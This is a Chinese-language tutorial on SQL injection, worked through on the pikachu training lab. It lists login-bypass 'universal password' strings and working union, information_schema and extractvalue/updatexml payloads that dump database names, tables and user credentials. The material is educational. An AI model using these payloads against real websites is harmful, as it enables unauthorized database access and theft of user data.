SQL基礎注入詳解

基於pikachu靶場進行實驗,後續更新雙注入,盲注,cookie注入,HTTP-Referer注入

一.什麼是SQL注入

SQL注入是服務器端未嚴格校驗客戶端發送的數據,而導致服務端SQL語句被惡意修改併成功執行的行爲稱爲SQL注入。

二.SQL注入原因

產生SQL注入的原因是接受相關參數未經處理直接帶入數據庫進行查詢操作,其產生與平臺、腳本無關!

三.SQL注入危害

攻擊者可以訪問數據庫中的數據,盜取用戶的信息,造成用戶的信息泄露,還可以對數據庫的數據進行任意操作,添加管理員賬戶進行登錄等等。

四.簡單OR漏洞原理

剖析登錄過程

  1. 正常情況下,我們在前端頁面輸入用戶名和密碼,前端數據會傳到後端的數據庫進行查詢,驗證是否存在此用戶,其在數據庫進行查詢的語句如下:
select * from 表名 where name=‘xxx’ and password=’xxx‘;
  1. 若不對參數進行過濾,存在SQL注入,我們就可以構造以下的信息來進行登錄:
用戶名:'or 1=1 #
密碼:任意
  1. 成功登錄的原因是輸入的信息傳到後端數據庫進行查詢的語句如下:
select * from 表名 where name='' or 1=1 # ' and password=’xxx';

相當於

select * from 表名;

'號的作用是閉合變量的值,#號的作用是註釋後面的語句,註釋的符號根據數據庫類型而定, or 1=1這個語句是無論什麼時候都是正確的,因爲or連接的條件中只要其一正確,命題就爲真,恰好1=1這個條件就是恆成立的。

五.萬能密碼參考

此處出自https://me.csdn.net/dyw_666666

asp aspx萬能密碼

  1. or 1=1- -
  2. 'or 1=1- -
  3. "or 1=1- -
  4. ‘or"=’
  5. ‘or’=‘or’
  6. "or “a”="a
  7. ')or(‘a’='a
  8. a’or’ 1=1- -
  9. ‘or’a’='a
  10. “or”="a’='a
  11. 1 or 1’=‘1’=1
  12. 1 or ‘1’=‘1’ or 1=1
  13. 'or 1=1%00
  14. "or 1=1%00
  15. 'xor
  16. admin’ or ‘a’='a

php萬能密碼

  1. ‘or’=‘or’
  2. 'or 1=1/* 字符型 GPC是否開都可以使用
  3. User: something Password: ’ or ‘1’='1

jsp萬能密碼

  1. 1’or’1’='1
  2. admin’ or 1=1/*
  3. 用戶名:admin 系統存在這個用戶的時候 才用得上 密碼:1’or’1’='1

六.思路

在這裏插入圖片描述

七.判斷存在SQL注入

1. 單引號法

參數後加單引號
https://xxx.com/xxx.php?id=666'

(1)如果頁面報錯,則說明存在SQL注入,原因是無論字符型還是整型都會因爲單引號個數不匹配而報錯。
(2)如果頁面不報錯,不要灰心,也有可能存在SQL注入,只是因爲頁面對單引號進行了過濾

2. 數字型判斷

當參數爲整型時,我們可以使用and 1=1和and 1=2產生的結果來進行對比

https://xxx.com/xxx.php?id=1' and 1=1
https://xxx.com/xxx.php?id=1' and 1=2

若返回的頁面不同,則說明存在SQL注入,且爲數字型注入

3. 字符型判斷

當參數爲字符型時,我們可以使用 and ‘1’='1 和 and ‘1’='2來進行對比

https://xxx.com/xxx.php?id=1’ and '1'='1;
https://xxx.com/xxx.php?id=1‘ and ‘1’='2;

其在數據庫查詢的語句分別爲:

select * from users where id='1' and '1'='1';
select * from users where id='1' and '1'='2';

若返回的頁面不同,則說明存在SQL注入,且爲字符型注入

4. 搜索型判斷

正常情況下在數據庫中查詢語句如下:

select * from 表名 where 字段名 like '%對應的值%' order by 字段名

我們可以使用以下語句來進行對比

%' and 1=1 and '%'='
%' and 1=2 and '%'='

其在數據庫查詢的語句分別爲:

select * from 表名 where 字段名 like '%$%' and 1=1 and '%'='%' order by 字段名
select * from 表名 where 字段名 like '%$%' and 1=2 and '%'='%' order by 字段名

若返回的頁面不同,則說明存在SQL注入,且爲搜索型注入

八.SQL注入方式分類

1.數字型注入

在這裏插入圖片描述
使用burpsuite抓包得到以下結果:
在這裏插入圖片描述

將其發送到Repeater模塊,在id處進行構造再發送
在這裏插入圖片描述
在Response模塊的Render處查看結果
在這裏插入圖片描述

2.字符型注入

構造的語句如下:

'or 1=1 #

在這裏插入圖片描述

3.搜索型注入

在數據庫中進行模糊搜索的語句如下:

select * from 表名 where 字段名下的數據 like ’%對應的值%‘;

我們構造的語句如下:

'or 1=1 #

在這裏插入圖片描述

4.XX型注入

XX型注入與以上的方式有些不同,因爲其在數據庫查詢的語句如下:

select * from where name=('');

我們構造的語句如下:

') or 1=1 #

在這裏插入圖片描述

5.union注入查詢

我們可以在搜索框內構造以下信息:

' union select username,pw from member where id=1#

在這裏插入圖片描述
在這裏插入圖片描述
但是我們發現並沒有成功,原因是聯合查詢要求查詢列數相同,那我們就需要使用order by或者union去判斷它的查詢列數

方法一:a' order by 3 #           //這裏的3是字段序號
方法二:‘ union select 1,2,3  #     //這裏的1,2,3是佔位的作用

當不出現錯誤信息的時候,以上輸入的最大數字即爲查詢列數
在這裏插入圖片描述
接下來我們就可以進行union注入

' union select database(),user(),version()#

在這裏插入圖片描述

6.information_schema注入

information_schema是MySQL數據庫系統自帶的一個數據庫,其中保存着關於MySQL服務器所維護的所有其他數據庫的信息,非常非常重要。比較低版本的MySQL數據庫系統不含有這個數據庫
在這裏插入圖片描述
通過information_schema注入,我們就可以導出數據庫內容
(1)使用union查詢(上面的方法),得到數據庫名稱
(2)獲取數據庫表名
在這裏插入圖片描述

v' union select table_schema,table_name,version from information_schema.tables where table_schema='pikachu'#

在這裏插入圖片描述
(3)獲取pikachu數據庫的表的字段名

a' union select table_name,column_name,3 from information_schema.columns where table_name='users' #

在這裏插入圖片描述
(4)獲取目標字段的內容

a' union select username,password,3 from users #

在這裏插入圖片描述

7.函數報錯注入

使用背景:後端的報錯信息沒有屏蔽,發生語法錯誤的時候報錯信息輸出在前端
函數報錯過程中用到的幾個函數:

extractvalue()
作用:從目標XML文檔中返回查詢的字符串

格式:extractvalue(XML_document,Xpath_string)

說明:第一個參數:XML_document是string格式,其爲XML文檔對象名稱
第二個參數Xpath_string(Xpath格式的字符串,如a/bc/xx)

updatexml()
作用:對xml文檔數據進行查詢與修改

格式:updatexml(XML_document,Xpath_string,new value)
說明:第一個參數:XML_document是string格式,其爲XML文檔對象名稱
第二個參數Xpath_string(Xpath格式的字符串,如a/bc/xx)

我們的目的就是在第二個參數進行操作從而獲取報錯信息,通常我們輸入的查詢信息,報錯就會返回相應的內容

下面我們來使用extractvalue()進行語句構造

' and extractvalue(1,concat(0x7e,(select version()))) #

concat()是拼接字符串,我們這裏將0x7e與(select version())拼接,0x7e可以替換其他符號,部分符號可能不適用
我們可以看到以下版本信息:
在這裏插入圖片描述
緊接着我們按照數據庫名–表名–字段名–表數據的思路進行操作

獲取數據庫名:

' and extractvalue(1,concat(0x7e,(select database()))) #

在這裏插入圖片描述

獲取表名:

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' ))) #

在這裏插入圖片描述
提示我們只能顯示一行
那我們就使用limit來顯示一行

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1))) #

limit 0,1的0代表從表中第0個數據開始,1代表讀取1個
在這裏插入圖片描述

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 1,1))) #

在這裏插入圖片描述
獲取字段名:

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'member' limit 1,1)))#

在這裏插入圖片描述
獲取數據:

' and extractvalue(1,concat(0x7e,(select username from member limit 0,1)))#

在這裏插入圖片描述
對於updatexml函數只要增加一個參數updatexml(12,concat(0x7e,(select database())),32),過程與上述一樣·

本文僅用於學習交流,請勿用於違法用途

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章